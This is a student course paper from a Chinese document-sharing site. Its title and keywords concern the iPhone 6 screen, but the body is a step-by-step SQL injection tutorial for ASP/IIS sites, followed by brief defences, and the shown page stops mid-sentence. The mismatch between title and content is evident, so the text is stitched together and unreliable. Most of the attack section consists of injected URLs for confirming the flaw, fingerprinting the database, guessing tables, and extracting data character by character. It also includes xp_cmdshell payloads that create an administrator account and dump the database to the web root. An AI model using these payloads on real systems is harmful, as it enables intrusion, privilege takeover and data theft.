东南大学srtp论文模板

上传人:cn****1 文档编号:457707156 上传时间:2023-03-04 格式:DOC 页数:7 大小:210KB
返回 下载 相关 举报
东南大学srtp论文模板_第1页
第1页 / 共7页
东南大学srtp论文模板_第2页
第2页 / 共7页
东南大学srtp论文模板_第3页
第3页 / 共7页
东南大学srtp论文模板_第4页
第4页 / 共7页
东南大学srtp论文模板_第5页
第5页 / 共7页
点击查看更多>>
资源描述

《东南大学srtp论文模板》由会员分享,可在线阅读,更多相关《东南大学srtp论文模板(7页珍藏版)》请在金锄头文库上搜索。

1、光学 课程论文论文题目:浅析iPhone6屏幕的宣传卖点学 生 院 系 : 物理 学 生 姓 名 : 何翀 学 生 学 号 : 10014312 浅析iPhone6屏幕的宣传卖点摘 要关键词: 双域像素Dual-domain pixels;光取向技术Phote aligment;Retina HD;目 录引 言41 SQL注入过程41.1判断是否可以攻击41.1.1输入为数字时:41.1.2输入为字符串时:41.2判断数据库类型51.2.1对于IIS未关闭的51.2.2对于IIS不返回错误信息的51.3判断数据类型51.4猜测表名61.5猜测列名61.6得到数据61.7直接获得用户名及密码72

2、.SQL注入防范72.1客户端72.2加密72.3 IIS的限制72.4 IIS权限的分配8结 语8参考文献8引 言 计算机的发展越来越快,可是随之而来的却是一系列安全问题,这些安全问题直接威胁到了用户的私人信息,诸如账号,密码,住址等,他们利用用户的好奇心,欺骗用户或者在用户毫不知情的情况下,入侵PC,盗取资料,对用户构成一定威胁,危害不仅局限于此,譬如在08年时一场大规模的SQL注入席卷了全球,他们堆积选择ip,将目标锁定到不同网站,其中包括一些受信任的网站,用户点击网站之后会受到感之后成为病原体。现在由于程序员的水平参差不齐,在编写程序的时候有时会很少考虑到安全方面的因素,及缺少用户输入

3、安全性的判断,这样就导致不法分子有机可乘,他们根据不同的输入,分析返回结果,得到数据库服务器的相关信息,最后可以为所欲为。1 SQL注入过程1.1判断是否可以攻击首先我们要将ie浏览器的Internet=高级=显示好友http信息去掉,这样我们就可以得到不同的错误,位置后的判断打下基础。比如说形如一个http:/example/mainView/show.asp?ID=123这是一个正常的网站,在这个网站中数据库服务器通常通过select * from tableName where ID=123来将结果集返回给客户端,这本来是没有什么问题的,可是这里却存在极大的安全隐患,比如说我们可以在后面

4、添加一些代码,可以这样测试1.1.1输入为数字时:通过经典的1,2测试法,我们可以这样做不添加任何内容http:/example/mainView/show.asp?ID=123;不报错添加and 1=1这样就变成了http:/example/mainView/show.asp?ID=123 and1=1;不报错添加and 1=2 这样就变成了http:/example/mainView/show.asp?ID=123 and 1=2;报错1.1.2输入为字符串时:末尾添加一个,这样就变成了http:/example/mainView/show.asp?ID=123;报错 添加and 1=1这

5、样就变成了http:/example/mainView/show.asp?ID=123 and1=1;不报错 添加and 1=2这样就变成了http:/example/mainView/show.asp?ID=123 and1=2;报错当这两个条件均满足时,我们可以知道show.asp不存在安全检测机制,因此可以得到我们show.asp是存在漏洞的。判断出这部分内容是可以实行sql注入时,我们可以进行下属步骤1.2判断数据库类型在和asp搭配的网站中,大多数采用的是access和sqlserver两种数据库,故这里我们不讨论mysql这种类型的。1.2.1对于IIS未关闭的我们可以根据系统变量

6、来判断,对于sqlserver数据库,其中存在一些系统变量,比如说user,利用这点,可以执行以下语句http:/example/mainView/show.asp?ID=123 and user0;我们需要解释以下,user存储的是当前连接的用户名,类型为nvarchar的,结果可想而知,我们将两个 同类型的进行比较,那么系统首先会将nvarchar 的值转换为int,转换不成功,抛出错误,之后我们分析得到的错误信息:将userName(用户名)转换为int失败,这样,我们不仅判断出了这是sqlserver数据库,同时知道了用户名为userName。对于ACCESS数据库,我们只需要简单的在

7、最后添加一个即可 http:/example/mainView/show.asp?ID=123如果返回Microsoft JET Database Engine 错误 80040e14,说明存在字符串语法错误,从中我们看出在show.asp 行8存在错误,从这个错误我们可以看出这个网站采用的是ACCESS数据库1.2.2对于IIS不返回错误信息的我们可以根据系统表来判断:Sqlserve的系统表为sysobjects,access的系统表为msysobjects 所以我们这样判断http:/example/mainView/show.asp?ID=123 and (select count(*

8、) from sysobjects)0http:/example/mainView/show.asp?ID=123 and (select count(*) from mysobjects)0由于access数据库在web环境下访问msysobjects是没有权限的。因此不论是哪一种情况,总是会返回错误信息,所以如果页面访问正常,那么可以判断是Sqlserver数据库,如果不正常,有错误信息,则为access数据库。1.3判断数据类型在前面已经介绍过了数字和字符串类型的,还有一种类型是关键字类型的即keyword它的查询语句大概是这个样子的:Select * from tableName wh

9、ere keyword like %关键字%;所以我们可以注入keyword= and whatYouWant and %=, 这样SQL语句就变成了Select * from 表名 where字段like % and whatYouWant and %=%;其中whatYouWant就是你想要得到的东西,好了,三种格式的数据类型判断完成后,接下来我们猜测表名1.4猜测表名方法大致如下:http:/example/mainView/show.asp?ID=123 and (select count(*)from 猜测的表名)0如果返回的页面没有变化,说明存在这个猜测的表名,如果返回错误信息,则

10、不存在这个表名,反复重复这个过程,我们得到相应的表名,很是繁琐的过程,可是我们可以根据相关信息来猜测,比如说图书管理系统,我们会猜测book,borrower等名称1.5猜测列名方法大致如下:http:/example/mainView/show.asp?ID=123 and (select count(猜测的列) from 得到的表名)0,反复这个过程,得到列名1.6得到数据假设我们已经得到了表名和列名,得到数据的思路如下,先得到top 1的长度,之后判断每一位的ASCII,具体实现如下:判断长度:http:/example/mainView/show.asp?ID=123 and (sel

11、ect top 1 len(列名) from 表名)n;将n换成不同的数字,根据返回的不同值,可以得到此列第一个值长度,比如说4正确,5错误,那么这个长度就是为5,之后我们要得到每个字符对应的是什么http:/example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring(列名,m,1)Asn,的m为第几个字符,它是小于等于我们刚才得到的n的,Asn为ascii的值,由于数字和字母在1128之间,例如http:/example/mainView/show.asp?ID=123 and (select top 1 ascii(

12、sbustring(列名,2,1)=39;我们可以得到第二个字符是9因此通过这个方法,我们可以得到每一个字符的ascII,从而得到数据,这个工作大量重复且繁琐,自己做,算了吧,写一个小程序。很快就搞定了。1.7直接获得用户名及密码这样做只是一些基本的方法,对于真正比较牛的黑客,会使用另外一下方法。主要是针对SQLserver数据库的,由于SQLserver和操作系统有紧密联系,如果当期的连接具有sa权限,且 xp_cmdshell(将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出)正确执行(虽然在sqlserver2005中默认是关闭的),那么我们就很容易控制PC,

13、操作步骤如下:http:/example/mainView/show.asp?ID=123;exec master.xp_cmdshell “net user namepassword/add”-可以直接增加操作系统帐户name密码为password http:/example/mainView/show.asp?ID=123;exec master.xp_cmdshell“net localgroup name administrators /add”- 把刚刚增加的帐户user加到administrators组中。http:/example/mainView/show.asp?ID=123

14、;backuup database 数据库名to disk=c:inetpubwwwrootsave.db 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载数一般来说,WEB虚拟目录是:c:inetpubwwwroot; 2.SQL注入防范通过上述论述,我们了解了sql注入的过程,针对过程,我们发现,主要可以从以下几点进行防范2.1客户端在构造动态sql语句中,我们要检测用户输入的合法性,这对于我们来说是很重要的,因为往往我们只顾及了完成编码工作而忽略了安全问题,这样,对于经验老道的程序员,很快就可以看出其中的漏洞,因此在检查用户输入时,如果遇到select exec xp_

15、cmdshell时,应该立即停止asp,并将页面至于出错状态。2.2加密当然加密是很重要的,我们可以采取一些加密算法,例如md5,rsa,des等,来阻止你获得密码2.3 IIS的限制在sql注入过程中,iis的返回信息无疑是最大的帮凶,因此,对于iis的管理员,可以不管是什么样的错误,都设置成同一种错误返回回来,这样,就可以避免不法分子通过放回错误来达到目的,但是这样做的结果会增加程序员的负荷,程序员不知道是什么除了错,因此对于修正错误会有影响。2.4 IIS权限的分配尽量给web最低权限,如果web只涉及到某几张表,那么只给他这几张表的访问权限,如果有修改操作,将update权限给它,总之它需要什么,我们提供给他什么,其余的不会给。结 语Sql注入在国内日渐成熟,不法分子越来越多,我们的私人信息面临威胁,因此作为将来要从事软件开发的人员,我觉的我们有必要对这种安全漏洞进行彻底的分析,尽量减少它对我们客户的影响,有一个想法,

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 医学/心理学 > 基础医学

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号